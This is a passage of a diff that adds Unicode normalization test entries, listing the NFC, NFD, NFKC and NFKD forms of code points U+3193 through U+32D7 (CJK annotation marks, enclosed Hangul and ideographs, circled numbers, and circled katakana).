+{ source: [0x3193], NFC: [0x3193], NFD: [0x3193], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x3194], NFC: [0x3194], NFD: [0x3194], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x3195], NFC: [0x3195], NFD: [0x3195], NFKC: [0x56DB], NFKD: [0x56DB] },
+{ source: [0x3196], NFC: [0x3196], NFD: [0x3196], NFKC: [0x4E0A], NFKD: [0x4E0A] },
+{ source: [0x3197], NFC: [0x3197], NFD: [0x3197], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x3198], NFC: [0x3198], NFD: [0x3198], NFKC: [0x4E0B], NFKD: [0x4E0B] },
+{ source: [0x3199], NFC: [0x3199], NFD: [0x3199], NFKC: [0x7532], NFKD: [0x7532] },
+{ source: [0x319A], NFC: [0x319A], NFD: [0x319A], NFKC: [0x4E59], NFKD: [0x4E59] },
+{ source: [0x319B], NFC: [0x319B], NFD: [0x319B], NFKC: [0x4E19], NFKD: [0x4E19] },
+{ source: [0x319C], NFC: [0x319C], NFD: [0x319C], NFKC: [0x4E01], NFKD: [0x4E01] },
+{ source: [0x319D], NFC: [0x319D], NFD: [0x319D], NFKC: [0x5929], NFKD: [0x5929] },
+{ source: [0x319E], NFC: [0x319E], NFD: [0x319E], NFKC: [0x5730], NFKD: [0x5730] },
+{ source: [0x319F], NFC: [0x319F], NFD: [0x319F], NFKC: [0x4EBA], NFKD: [0x4EBA] },
+{ source: [0x3200], NFC: [0x3200], NFD: [0x3200], NFKC: [0x0028, 0x1100, 0x0029], NFKD: [0x0028, 0x1100, 0x0029] },
+{ source: [0x3201], NFC: [0x3201], NFD: [0x3201], NFKC: [0x0028, 0x1102, 0x0029], NFKD: [0x0028, 0x1102, 0x0029] },
+{ source: [0x3202], NFC: [0x3202], NFD: [0x3202], NFKC: [0x0028, 0x1103, 0x0029], NFKD: [0x0028, 0x1103, 0x0029] },
+{ source: [0x3203], NFC: [0x3203], NFD: [0x3203], NFKC: [0x0028, 0x1105, 0x0029], NFKD: [0x0028, 0x1105, 0x0029] },
+{ source: [0x3204], NFC: [0x3204], NFD: [0x3204], NFKC: [0x0028, 0x1106, 0x0029], NFKD: [0x0028, 0x1106, 0x0029] },
+{ source: [0x3205], NFC: [0x3205], NFD: [0x3205], NFKC: [0x0028, 0x1107, 0x0029], NFKD: [0x0028, 0x1107, 0x0029] },
+{ source: [0x3206], NFC: [0x3206], NFD: [0x3206], NFKC: [0x0028, 0x1109, 0x0029], NFKD: [0x0028, 0x1109, 0x0029] },
+{ source: [0x3207], NFC: [0x3207], NFD: [0x3207], NFKC: [0x0028, 0x110B, 0x0029], NFKD: [0x0028, 0x110B, 0x0029] },
+{ source: [0x3208], NFC: [0x3208], NFD: [0x3208], NFKC: [0x0028, 0x110C, 0x0029], NFKD: [0x0028, 0x110C, 0x0029] },
+{ source: [0x3209], NFC: [0x3209], NFD: [0x3209], NFKC: [0x0028, 0x110E, 0x0029], NFKD: [0x0028, 0x110E, 0x0029] },
+{ source: [0x320A], NFC: [0x320A], NFD: [0x320A], NFKC: [0x0028, 0x110F, 0x0029], NFKD: [0x0028, 0x110F, 0x0029] },
+{ source: [0x320B], NFC: [0x320B], NFD: [0x320B], NFKC: [0x0028, 0x1110, 0x0029], NFKD: [0x0028, 0x1110, 0x0029] },
+{ source: [0x320C], NFC: [0x320C], NFD: [0x320C], NFKC: [0x0028, 0x1111, 0x0029], NFKD: [0x0028, 0x1111, 0x0029] },
+{ source: [0x320D], NFC: [0x320D], NFD: [0x320D], NFKC: [0x0028, 0x1112, 0x0029], NFKD: [0x0028, 0x1112, 0x0029] },
+{ source: [0x320E], NFC: [0x320E], NFD: [0x320E], NFKC: [0x0028, 0xAC00, 0x0029], NFKD: [0x0028, 0x1100, 0x1161, 0x0029] },
+{ source: [0x320F], NFC: [0x320F], NFD: [0x320F], NFKC: [0x0028, 0xB098, 0x0029], NFKD: [0x0028, 0x1102, 0x1161, 0x0029] },
+{ source: [0x3210], NFC: [0x3210], NFD: [0x3210], NFKC: [0x0028, 0xB2E4, 0x0029], NFKD: [0x0028, 0x1103, 0x1161, 0x0029] },
+{ source: [0x3211], NFC: [0x3211], NFD: [0x3211], NFKC: [0x0028, 0xB77C, 0x0029], NFKD: [0x0028, 0x1105, 0x1161, 0x0029] },
+{ source: [0x3212], NFC: [0x3212], NFD: [0x3212], NFKC: [0x0028, 0xB9C8, 0x0029], NFKD: [0x0028, 0x1106, 0x1161, 0x0029] },
+{ source: [0x3213], NFC: [0x3213], NFD: [0x3213], NFKC: [0x0028, 0xBC14, 0x0029], NFKD: [0x0028, 0x1107, 0x1161, 0x0029] },
+{ source: [0x3214], NFC: [0x3214], NFD: [0x3214], NFKC: [0x0028, 0xC0AC, 0x0029], NFKD: [0x0028, 0x1109, 0x1161, 0x0029] },
+{ source: [0x3215], NFC: [0x3215], NFD: [0x3215], NFKC: [0x0028, 0xC544, 0x0029], NFKD: [0x0028, 0x110B, 0x1161, 0x0029] },
+{ source: [0x3216], NFC: [0x3216], NFD: [0x3216], NFKC: [0x0028, 0xC790, 0x0029], NFKD: [0x0028, 0x110C, 0x1161, 0x0029] },
+{ source: [0x3217], NFC: [0x3217], NFD: [0x3217], NFKC: [0x0028, 0xCC28, 0x0029], NFKD: [0x0028, 0x110E, 0x1161, 0x0029] },
+{ source: [0x3218], NFC: [0x3218], NFD: [0x3218], NFKC: [0x0028, 0xCE74, 0x0029], NFKD: [0x0028, 0x110F, 0x1161, 0x0029] },
+{ source: [0x3219], NFC: [0x3219], NFD: [0x3219], NFKC: [0x0028, 0xD0C0, 0x0029], NFKD: [0x0028, 0x1110, 0x1161, 0x0029] },
+{ source: [0x321A], NFC: [0x321A], NFD: [0x321A], NFKC: [0x0028, 0xD30C, 0x0029], NFKD: [0x0028, 0x1111, 0x1161, 0x0029] },
+{ source: [0x321B], NFC: [0x321B], NFD: [0x321B], NFKC: [0x0028, 0xD558, 0x0029], NFKD: [0x0028, 0x1112, 0x1161, 0x0029] },
+{ source: [0x321C], NFC: [0x321C], NFD: [0x321C], NFKC: [0x0028, 0xC8FC, 0x0029], NFKD: [0x0028, 0x110C, 0x116E, 0x0029] },
+{ source: [0x321D], NFC: [0x321D], NFD: [0x321D], NFKC: [0x0028, 0xC624, 0xC804, 0x0029], NFKD: [0x0028, 0x110B, 0x1169, 0x110C, 0x1165, 0x11AB, 0x0029] },
+{ source: [0x321E], NFC: [0x321E], NFD: [0x321E], NFKC: [0x0028, 0xC624, 0xD6C4, 0x0029], NFKD: [0x0028, 0x110B, 0x1169, 0x1112, 0x116E, 0x0029] },
+{ source: [0x3220], NFC: [0x3220], NFD: [0x3220], NFKC: [0x0028, 0x4E00, 0x0029], NFKD: [0x0028, 0x4E00, 0x0029] },
+{ source: [0x3221], NFC: [0x3221], NFD: [0x3221], NFKC: [0x0028, 0x4E8C, 0x0029], NFKD: [0x0028, 0x4E8C, 0x0029] },
+{ source: [0x3222], NFC: [0x3222], NFD: [0x3222], NFKC: [0x0028, 0x4E09, 0x0029], NFKD: [0x0028, 0x4E09, 0x0029] },
+{ source: [0x3223], NFC: [0x3223], NFD: [0x3223], NFKC: [0x0028, 0x56DB, 0x0029], NFKD: [0x0028, 0x56DB, 0x0029] },
+{ source: [0x3224], NFC: [0x3224], NFD: [0x3224], NFKC: [0x0028, 0x4E94, 0x0029], NFKD: [0x0028, 0x4E94, 0x0029] },
+{ source: [0x3225], NFC: [0x3225], NFD: [0x3225], NFKC: [0x0028, 0x516D, 0x0029], NFKD: [0x0028, 0x516D, 0x0029] },
+{ source: [0x3226], NFC: [0x3226], NFD: [0x3226], NFKC: [0x0028, 0x4E03, 0x0029], NFKD: [0x0028, 0x4E03, 0x0029] },
+{ source: [0x3227], NFC: [0x3227], NFD: [0x3227], NFKC: [0x0028, 0x516B, 0x0029], NFKD: [0x0028, 0x516B, 0x0029] },
+{ source: [0x3228], NFC: [0x3228], NFD: [0x3228], NFKC: [0x0028, 0x4E5D, 0x0029], NFKD: [0x0028, 0x4E5D, 0x0029] },
+{ source: [0x3229], NFC: [0x3229], NFD: [0x3229], NFKC: [0x0028, 0x5341, 0x0029], NFKD: [0x0028, 0x5341, 0x0029] },
+{ source: [0x322A], NFC: [0x322A], NFD: [0x322A], NFKC: [0x0028, 0x6708, 0x0029], NFKD: [0x0028, 0x6708, 0x0029] },
+{ source: [0x322B], NFC: [0x322B], NFD: [0x322B], NFKC: [0x0028, 0x706B, 0x0029], NFKD: [0x0028, 0x706B, 0x0029] },
+{ source: [0x322C], NFC: [0x322C], NFD: [0x322C], NFKC: [0x0028, 0x6C34, 0x0029], NFKD: [0x0028, 0x6C34, 0x0029] },
+{ source: [0x322D], NFC: [0x322D], NFD: [0x322D], NFKC: [0x0028, 0x6728, 0x0029], NFKD: [0x0028, 0x6728, 0x0029] },
+{ source: [0x322E], NFC: [0x322E], NFD: [0x322E], NFKC: [0x0028, 0x91D1, 0x0029], NFKD: [0x0028, 0x91D1, 0x0029] },
+{ source: [0x322F], NFC: [0x322F], NFD: [0x322F], NFKC: [0x0028, 0x571F, 0x0029], NFKD: [0x0028, 0x571F, 0x0029] },
+{ source: [0x3230], NFC: [0x3230], NFD: [0x3230], NFKC: [0x0028, 0x65E5, 0x0029], NFKD: [0x0028, 0x65E5, 0x0029] },
+{ source: [0x3231], NFC: [0x3231], NFD: [0x3231], NFKC: [0x0028, 0x682A, 0x0029], NFKD: [0x0028, 0x682A, 0x0029] },
+{ source: [0x3232], NFC: [0x3232], NFD: [0x3232], NFKC: [0x0028, 0x6709, 0x0029], NFKD: [0x0028, 0x6709, 0x0029] },
+{ source: [0x3233], NFC: [0x3233], NFD: [0x3233], NFKC: [0x0028, 0x793E, 0x0029], NFKD: [0x0028, 0x793E, 0x0029] },
+{ source: [0x3234], NFC: [0x3234], NFD: [0x3234], NFKC: [0x0028, 0x540D, 0x0029], NFKD: [0x0028, 0x540D, 0x0029] },
+{ source: [0x3235], NFC: [0x3235], NFD: [0x3235], NFKC: [0x0028, 0x7279, 0x0029], NFKD: [0x0028, 0x7279, 0x0029] },
+{ source: [0x3236], NFC: [0x3236], NFD: [0x3236], NFKC: [0x0028, 0x8CA1, 0x0029], NFKD: [0x0028, 0x8CA1, 0x0029] },
+{ source: [0x3237], NFC: [0x3237], NFD: [0x3237], NFKC: [0x0028, 0x795D, 0x0029], NFKD: [0x0028, 0x795D, 0x0029] },
+{ source: [0x3238], NFC: [0x3238], NFD: [0x3238], NFKC: [0x0028, 0x52B4, 0x0029], NFKD: [0x0028, 0x52B4, 0x0029] },
+{ source: [0x3239], NFC: [0x3239], NFD: [0x3239], NFKC: [0x0028, 0x4EE3, 0x0029], NFKD: [0x0028, 0x4EE3, 0x0029] },
+{ source: [0x323A], NFC: [0x323A], NFD: [0x323A], NFKC: [0x0028, 0x547C, 0x0029], NFKD: [0x0028, 0x547C, 0x0029] },
+{ source: [0x323B], NFC: [0x323B], NFD: [0x323B], NFKC: [0x0028, 0x5B66, 0x0029], NFKD: [0x0028, 0x5B66, 0x0029] },
+{ source: [0x323C], NFC: [0x323C], NFD: [0x323C], NFKC: [0x0028, 0x76E3, 0x0029], NFKD: [0x0028, 0x76E3, 0x0029] },
+{ source: [0x323D], NFC: [0x323D], NFD: [0x323D], NFKC: [0x0028, 0x4F01, 0x0029], NFKD: [0x0028, 0x4F01, 0x0029] },
+{ source: [0x323E], NFC: [0x323E], NFD: [0x323E], NFKC: [0x0028, 0x8CC7, 0x0029], NFKD: [0x0028, 0x8CC7, 0x0029] },
+{ source: [0x323F], NFC: [0x323F], NFD: [0x323F], NFKC: [0x0028, 0x5354, 0x0029], NFKD: [0x0028, 0x5354, 0x0029] },
+{ source: [0x3240], NFC: [0x3240], NFD: [0x3240], NFKC: [0x0028, 0x796D, 0x0029], NFKD: [0x0028, 0x796D, 0x0029] },
+{ source: [0x3241], NFC: [0x3241], NFD: [0x3241], NFKC: [0x0028, 0x4F11, 0x0029], NFKD: [0x0028, 0x4F11, 0x0029] },
+{ source: [0x3242], NFC: [0x3242], NFD: [0x3242], NFKC: [0x0028, 0x81EA, 0x0029], NFKD: [0x0028, 0x81EA, 0x0029] },
+{ source: [0x3243], NFC: [0x3243], NFD: [0x3243], NFKC: [0x0028, 0x81F3, 0x0029], NFKD: [0x0028, 0x81F3, 0x0029] },
+{ source: [0x3244], NFC: [0x3244], NFD: [0x3244], NFKC: [0x554F], NFKD: [0x554F] },
+{ source: [0x3245], NFC: [0x3245], NFD: [0x3245], NFKC: [0x5E7C], NFKD: [0x5E7C] },
+{ source: [0x3246], NFC: [0x3246], NFD: [0x3246], NFKC: [0x6587], NFKD: [0x6587] },
+{ source: [0x3247], NFC: [0x3247], NFD: [0x3247], NFKC: [0x7B8F], NFKD: [0x7B8F] },
+{ source: [0x3250], NFC: [0x3250], NFD: [0x3250], NFKC: [0x0050, 0x0054, 0x0045], NFKD: [0x0050, 0x0054, 0x0045] },
+{ source: [0x3251], NFC: [0x3251], NFD: [0x3251], NFKC: [0x0032, 0x0031], NFKD: [0x0032, 0x0031] },
+{ source: [0x3252], NFC: [0x3252], NFD: [0x3252], NFKC: [0x0032, 0x0032], NFKD: [0x0032, 0x0032] },
+{ source: [0x3253], NFC: [0x3253], NFD: [0x3253], NFKC: [0x0032, 0x0033], NFKD: [0x0032, 0x0033] },
+{ source: [0x3254], NFC: [0x3254], NFD: [0x3254], NFKC: [0x0032, 0x0034], NFKD: [0x0032, 0x0034] },
+{ source: [0x3255], NFC: [0x3255], NFD: [0x3255], NFKC: [0x0032, 0x0035], NFKD: [0x0032, 0x0035] },
+{ source: [0x3256], NFC: [0x3256], NFD: [0x3256], NFKC: [0x0032, 0x0036], NFKD: [0x0032, 0x0036] },
+{ source: [0x3257], NFC: [0x3257], NFD: [0x3257], NFKC: [0x0032, 0x0037], NFKD: [0x0032, 0x0037] },
+{ source: [0x3258], NFC: [0x3258], NFD: [0x3258], NFKC: [0x0032, 0x0038], NFKD: [0x0032, 0x0038] },
+{ source: [0x3259], NFC: [0x3259], NFD: [0x3259], NFKC: [0x0032, 0x0039], NFKD: [0x0032, 0x0039] },
+{ source: [0x325A], NFC: [0x325A], NFD: [0x325A], NFKC: [0x0033, 0x0030], NFKD: [0x0033, 0x0030] },
+{ source: [0x325B], NFC: [0x325B], NFD: [0x325B], NFKC: [0x0033, 0x0031], NFKD: [0x0033, 0x0031] },
+{ source: [0x325C], NFC: [0x325C], NFD: [0x325C], NFKC: [0x0033, 0x0032], NFKD: [0x0033, 0x0032] },
+{ source: [0x325D], NFC: [0x325D], NFD: [0x325D], NFKC: [0x0033, 0x0033], NFKD: [0x0033, 0x0033] },
+{ source: [0x325E], NFC: [0x325E], NFD: [0x325E], NFKC: [0x0033, 0x0034], NFKD: [0x0033, 0x0034] },
+{ source: [0x325F], NFC: [0x325F], NFD: [0x325F], NFKC: [0x0033, 0x0035], NFKD: [0x0033, 0x0035] },
+{ source: [0x3260], NFC: [0x3260], NFD: [0x3260], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0x3261], NFC: [0x3261], NFD: [0x3261], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0x3262], NFC: [0x3262], NFD: [0x3262], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0x3263], NFC: [0x3263], NFD: [0x3263], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0x3264], NFC: [0x3264], NFD: [0x3264], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0x3265], NFC: [0x3265], NFD: [0x3265], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0x3266], NFC: [0x3266], NFD: [0x3266], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0x3267], NFC: [0x3267], NFD: [0x3267], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0x3268], NFC: [0x3268], NFD: [0x3268], NFKC: [0x110C], NFKD: [0x110C] },
+{ source: [0x3269], NFC: [0x3269], NFD: [0x3269], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0x326A], NFC: [0x326A], NFD: [0x326A], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0x326B], NFC: [0x326B], NFD: [0x326B], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0x326C], NFC: [0x326C], NFD: [0x326C], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0x326D], NFC: [0x326D], NFD: [0x326D], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0x326E], NFC: [0x326E], NFD: [0x326E], NFKC: [0xAC00], NFKD: [0x1100, 0x1161] },
+{ source: [0x326F], NFC: [0x326F], NFD: [0x326F], NFKC: [0xB098], NFKD: [0x1102, 0x1161] },
+{ source: [0x3270], NFC: [0x3270], NFD: [0x3270], NFKC: [0xB2E4], NFKD: [0x1103, 0x1161] },
+{ source: [0x3271], NFC: [0x3271], NFD: [0x3271], NFKC: [0xB77C], NFKD: [0x1105, 0x1161] },
+{ source: [0x3272], NFC: [0x3272], NFD: [0x3272], NFKC: [0xB9C8], NFKD: [0x1106, 0x1161] },
+{ source: [0x3273], NFC: [0x3273], NFD: [0x3273], NFKC: [0xBC14], NFKD: [0x1107, 0x1161] },
+{ source: [0x3274], NFC: [0x3274], NFD: [0x3274], NFKC: [0xC0AC], NFKD: [0x1109, 0x1161] },
+{ source: [0x3275], NFC: [0x3275], NFD: [0x3275], NFKC: [0xC544], NFKD: [0x110B, 0x1161] },
+{ source: [0x3276], NFC: [0x3276], NFD: [0x3276], NFKC: [0xC790], NFKD: [0x110C, 0x1161] },
+{ source: [0x3277], NFC: [0x3277], NFD: [0x3277], NFKC: [0xCC28], NFKD: [0x110E, 0x1161] },
+{ source: [0x3278], NFC: [0x3278], NFD: [0x3278], NFKC: [0xCE74], NFKD: [0x110F, 0x1161] },
+{ source: [0x3279], NFC: [0x3279], NFD: [0x3279], NFKC: [0xD0C0], NFKD: [0x1110, 0x1161] },
+{ source: [0x327A], NFC: [0x327A], NFD: [0x327A], NFKC: [0xD30C], NFKD: [0x1111, 0x1161] },
+{ source: [0x327B], NFC: [0x327B], NFD: [0x327B], NFKC: [0xD558], NFKD: [0x1112, 0x1161] },
+{ source: [0x327C], NFC: [0x327C], NFD: [0x327C], NFKC: [0xCC38, 0xACE0], NFKD: [0x110E, 0x1161, 0x11B7, 0x1100, 0x1169] },
+{ source: [0x327D], NFC: [0x327D], NFD: [0x327D], NFKC: [0xC8FC, 0xC758], NFKD: [0x110C, 0x116E, 0x110B, 0x1174] },
+{ source: [0x327E], NFC: [0x327E], NFD: [0x327E], NFKC: [0xC6B0], NFKD: [0x110B, 0x116E] },
+{ source: [0x3280], NFC: [0x3280], NFD: [0x3280], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x3281], NFC: [0x3281], NFD: [0x3281], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x3282], NFC: [0x3282], NFD: [0x3282], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x3283], NFC: [0x3283], NFD: [0x3283], NFKC: [0x56DB], NFKD: [0x56DB] },
+{ source: [0x3284], NFC: [0x3284], NFD: [0x3284], NFKC: [0x4E94], NFKD: [0x4E94] },
+{ source: [0x3285], NFC: [0x3285], NFD: [0x3285], NFKC: [0x516D], NFKD: [0x516D] },
+{ source: [0x3286], NFC: [0x3286], NFD: [0x3286], NFKC: [0x4E03], NFKD: [0x4E03] },
+{ source: [0x3287], NFC: [0x3287], NFD: [0x3287], NFKC: [0x516B], NFKD: [0x516B] },
+{ source: [0x3288], NFC: [0x3288], NFD: [0x3288], NFKC: [0x4E5D], NFKD: [0x4E5D] },
+{ source: [0x3289], NFC: [0x3289], NFD: [0x3289], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x328A], NFC: [0x328A], NFD: [0x328A], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x328B], NFC: [0x328B], NFD: [0x328B], NFKC: [0x706B], NFKD: [0x706B] },
+{ source: [0x328C], NFC: [0x328C], NFD: [0x328C], NFKC: [0x6C34], NFKD: [0x6C34] },
+{ source: [0x328D], NFC: [0x328D], NFD: [0x328D], NFKC: [0x6728], NFKD: [0x6728] },
+{ source: [0x328E], NFC: [0x328E], NFD: [0x328E], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0x328F], NFC: [0x328F], NFD: [0x328F], NFKC: [0x571F], NFKD: [0x571F] },
+{ source: [0x3290], NFC: [0x3290], NFD: [0x3290], NFKC: [0x65E5], NFKD: [0x65E5] },
+{ source: [0x3291], NFC: [0x3291], NFD: [0x3291], NFKC: [0x682A], NFKD: [0x682A] },
+{ source: [0x3292], NFC: [0x3292], NFD: [0x3292], NFKC: [0x6709], NFKD: [0x6709] },
+{ source: [0x3293], NFC: [0x3293], NFD: [0x3293], NFKC: [0x793E], NFKD: [0x793E] },
+{ source: [0x3294], NFC: [0x3294], NFD: [0x3294], NFKC: [0x540D], NFKD: [0x540D] },
+{ source: [0x3295], NFC: [0x3295], NFD: [0x3295], NFKC: [0x7279], NFKD: [0x7279] },
+{ source: [0x3296], NFC: [0x3296], NFD: [0x3296], NFKC: [0x8CA1], NFKD: [0x8CA1] },
+{ source: [0x3297], NFC: [0x3297], NFD: [0x3297], NFKC: [0x795D], NFKD: [0x795D] },
+{ source: [0x3298], NFC: [0x3298], NFD: [0x3298], NFKC: [0x52B4], NFKD: [0x52B4] },
+{ source: [0x3299], NFC: [0x3299], NFD: [0x3299], NFKC: [0x79D8], NFKD: [0x79D8] },
+{ source: [0x329A], NFC: [0x329A], NFD: [0x329A], NFKC: [0x7537], NFKD: [0x7537] },
+{ source: [0x329B], NFC: [0x329B], NFD: [0x329B], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0x329C], NFC: [0x329C], NFD: [0x329C], NFKC: [0x9069], NFKD: [0x9069] },
+{ source: [0x329D], NFC: [0x329D], NFD: [0x329D], NFKC: [0x512A], NFKD: [0x512A] },
+{ source: [0x329E], NFC: [0x329E], NFD: [0x329E], NFKC: [0x5370], NFKD: [0x5370] },
+{ source: [0x329F], NFC: [0x329F], NFD: [0x329F], NFKC: [0x6CE8], NFKD: [0x6CE8] },
+{ source: [0x32A0], NFC: [0x32A0], NFD: [0x32A0], NFKC: [0x9805], NFKD: [0x9805] },
+{ source: [0x32A1], NFC: [0x32A1], NFD: [0x32A1], NFKC: [0x4F11], NFKD: [0x4F11] },
+{ source: [0x32A2], NFC: [0x32A2], NFD: [0x32A2], NFKC: [0x5199], NFKD: [0x5199] },
+{ source: [0x32A3], NFC: [0x32A3], NFD: [0x32A3], NFKC: [0x6B63], NFKD: [0x6B63] },
+{ source: [0x32A4], NFC: [0x32A4], NFD: [0x32A4], NFKC: [0x4E0A], NFKD: [0x4E0A] },
+{ source: [0x32A5], NFC: [0x32A5], NFD: [0x32A5], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x32A6], NFC: [0x32A6], NFD: [0x32A6], NFKC: [0x4E0B], NFKD: [0x4E0B] },
+{ source: [0x32A7], NFC: [0x32A7], NFD: [0x32A7], NFKC: [0x5DE6], NFKD: [0x5DE6] },
+{ source: [0x32A8], NFC: [0x32A8], NFD: [0x32A8], NFKC: [0x53F3], NFKD: [0x53F3] },
+{ source: [0x32A9], NFC: [0x32A9], NFD: [0x32A9], NFKC: [0x533B], NFKD: [0x533B] },
+{ source: [0x32AA], NFC: [0x32AA], NFD: [0x32AA], NFKC: [0x5B97], NFKD: [0x5B97] },
+{ source: [0x32AB], NFC: [0x32AB], NFD: [0x32AB], NFKC: [0x5B66], NFKD: [0x5B66] },
+{ source: [0x32AC], NFC: [0x32AC], NFD: [0x32AC], NFKC: [0x76E3], NFKD: [0x76E3] },
+{ source: [0x32AD], NFC: [0x32AD], NFD: [0x32AD], NFKC: [0x4F01], NFKD: [0x4F01] },
+{ source: [0x32AE], NFC: [0x32AE], NFD: [0x32AE], NFKC: [0x8CC7], NFKD: [0x8CC7] },
+{ source: [0x32AF], NFC: [0x32AF], NFD: [0x32AF], NFKC: [0x5354], NFKD: [0x5354] },
+{ source: [0x32B0], NFC: [0x32B0], NFD: [0x32B0], NFKC: [0x591C], NFKD: [0x591C] },
+{ source: [0x32B1], NFC: [0x32B1], NFD: [0x32B1], NFKC: [0x0033, 0x0036], NFKD: [0x0033, 0x0036] },
+{ source: [0x32B2], NFC: [0x32B2], NFD: [0x32B2], NFKC: [0x0033, 0x0037], NFKD: [0x0033, 0x0037] },
+{ source: [0x32B3], NFC: [0x32B3], NFD: [0x32B3], NFKC: [0x0033, 0x0038], NFKD: [0x0033, 0x0038] },
+{ source: [0x32B4], NFC: [0x32B4], NFD: [0x32B4], NFKC: [0x0033, 0x0039], NFKD: [0x0033, 0x0039] },
+{ source: [0x32B5], NFC: [0x32B5], NFD: [0x32B5], NFKC: [0x0034, 0x0030], NFKD: [0x0034, 0x0030] },
+{ source: [0x32B6], NFC: [0x32B6], NFD: [0x32B6], NFKC: [0x0034, 0x0031], NFKD: [0x0034, 0x0031] },
+{ source: [0x32B7], NFC: [0x32B7], NFD: [0x32B7], NFKC: [0x0034, 0x0032], NFKD: [0x0034, 0x0032] },
+{ source: [0x32B8], NFC: [0x32B8], NFD: [0x32B8], NFKC: [0x0034, 0x0033], NFKD: [0x0034, 0x0033] },
+{ source: [0x32B9], NFC: [0x32B9], NFD: [0x32B9], NFKC: [0x0034, 0x0034], NFKD: [0x0034, 0x0034] },
+{ source: [0x32BA], NFC: [0x32BA], NFD: [0x32BA], NFKC: [0x0034, 0x0035], NFKD: [0x0034, 0x0035] },
+{ source: [0x32BB], NFC: [0x32BB], NFD: [0x32BB], NFKC: [0x0034, 0x0036], NFKD: [0x0034, 0x0036] },
+{ source: [0x32BC], NFC: [0x32BC], NFD: [0x32BC], NFKC: [0x0034, 0x0037], NFKD: [0x0034, 0x0037] },
+{ source: [0x32BD], NFC: [0x32BD], NFD: [0x32BD], NFKC: [0x0034, 0x0038], NFKD: [0x0034, 0x0038] },
+{ source: [0x32BE], NFC: [0x32BE], NFD: [0x32BE], NFKC: [0x0034, 0x0039], NFKD: [0x0034, 0x0039] },
+{ source: [0x32BF], NFC: [0x32BF], NFD: [0x32BF], NFKC: [0x0035, 0x0030], NFKD: [0x0035, 0x0030] },
+{ source: [0x32C0], NFC: [0x32C0], NFD: [0x32C0], NFKC: [0x0031, 0x6708], NFKD: [0x0031, 0x6708] },
+{ source: [0x32C1], NFC: [0x32C1], NFD: [0x32C1], NFKC: [0x0032, 0x6708], NFKD: [0x0032, 0x6708] },
+{ source: [0x32C2], NFC: [0x32C2], NFD: [0x32C2], NFKC: [0x0033, 0x6708], NFKD: [0x0033, 0x6708] },
+{ source: [0x32C3], NFC: [0x32C3], NFD: [0x32C3], NFKC: [0x0034, 0x6708], NFKD: [0x0034, 0x6708] },
+{ source: [0x32C4], NFC: [0x32C4], NFD: [0x32C4], NFKC: [0x0035, 0x6708], NFKD: [0x0035, 0x6708] },
+{ source: [0x32C5], NFC: [0x32C5], NFD: [0x32C5], NFKC: [0x0036, 0x6708], NFKD: [0x0036, 0x6708] },
+{ source: [0x32C6], NFC: [0x32C6], NFD: [0x32C6], NFKC: [0x0037, 0x6708], NFKD: [0x0037, 0x6708] },
+{ source: [0x32C7], NFC: [0x32C7], NFD: [0x32C7], NFKC: [0x0038, 0x6708], NFKD: [0x0038, 0x6708] },
+{ source: [0x32C8], NFC: [0x32C8], NFD: [0x32C8], NFKC: [0x0039, 0x6708], NFKD: [0x0039, 0x6708] },
+{ source: [0x32C9], NFC: [0x32C9], NFD: [0x32C9], NFKC: [0x0031, 0x0030, 0x6708], NFKD: [0x0031, 0x0030, 0x6708] },
+{ source: [0x32CA], NFC: [0x32CA], NFD: [0x32CA], NFKC: [0x0031, 0x0031, 0x6708], NFKD: [0x0031, 0x0031, 0x6708] },
+{ source: [0x32CB], NFC: [0x32CB], NFD: [0x32CB], NFKC: [0x0031, 0x0032, 0x6708], NFKD: [0x0031, 0x0032, 0x6708] },
+{ source: [0x32CC], NFC: [0x32CC], NFD: [0x32CC], NFKC: [0x0048, 0x0067], NFKD: [0x0048, 0x0067] },
+{ source: [0x32CD], NFC: [0x32CD], NFD: [0x32CD], NFKC: [0x0065, 0x0072, 0x0067], NFKD: [0x0065, 0x0072, 0x0067] },
+{ source: [0x32CE], NFC: [0x32CE], NFD: [0x32CE], NFKC: [0x0065, 0x0056], NFKD: [0x0065, 0x0056] },
+{ source: [0x32CF], NFC: [0x32CF], NFD: [0x32CF], NFKC: [0x004C, 0x0054, 0x0044], NFKD: [0x004C, 0x0054, 0x0044] },
+{ source: [0x32D0], NFC: [0x32D0], NFD: [0x32D0], NFKC: [0x30A2], NFKD: [0x30A2] },
+{ source: [0x32D1], NFC: [0x32D1], NFD: [0x32D1], NFKC: [0x30A4], NFKD: [0x30A4] },
+{ source: [0x32D2], NFC: [0x32D2], NFD: [0x32D2], NFKC: [0x30A6], NFKD: [0x30A6] },
+{ source: [0x32D3], NFC: [0x32D3], NFD: [0x32D3], NFKC: [0x30A8], NFKD: [0x30A8] },
+{ source: [0x32D4], NFC: [0x32D4], NFD: [0x32D4], NFKC: [0x30AA], NFKD: [0x30AA] },
+{ source: [0x32D5], NFC: [0x32D5], NFD: [0x32D5], NFKC: [0x30AB], NFKD: [0x30AB] },
+{ source: [0x32D6], NFC: [0x32D6], NFD: [0x32D6], NFKC: [0x30AD], NFKD: [0x30AD] },
+{ source: [0x32D7], NFC: [0x32D7], NFD: [0x32D7], NFKC: [0x30AF], NFKD: [0x30AF] },
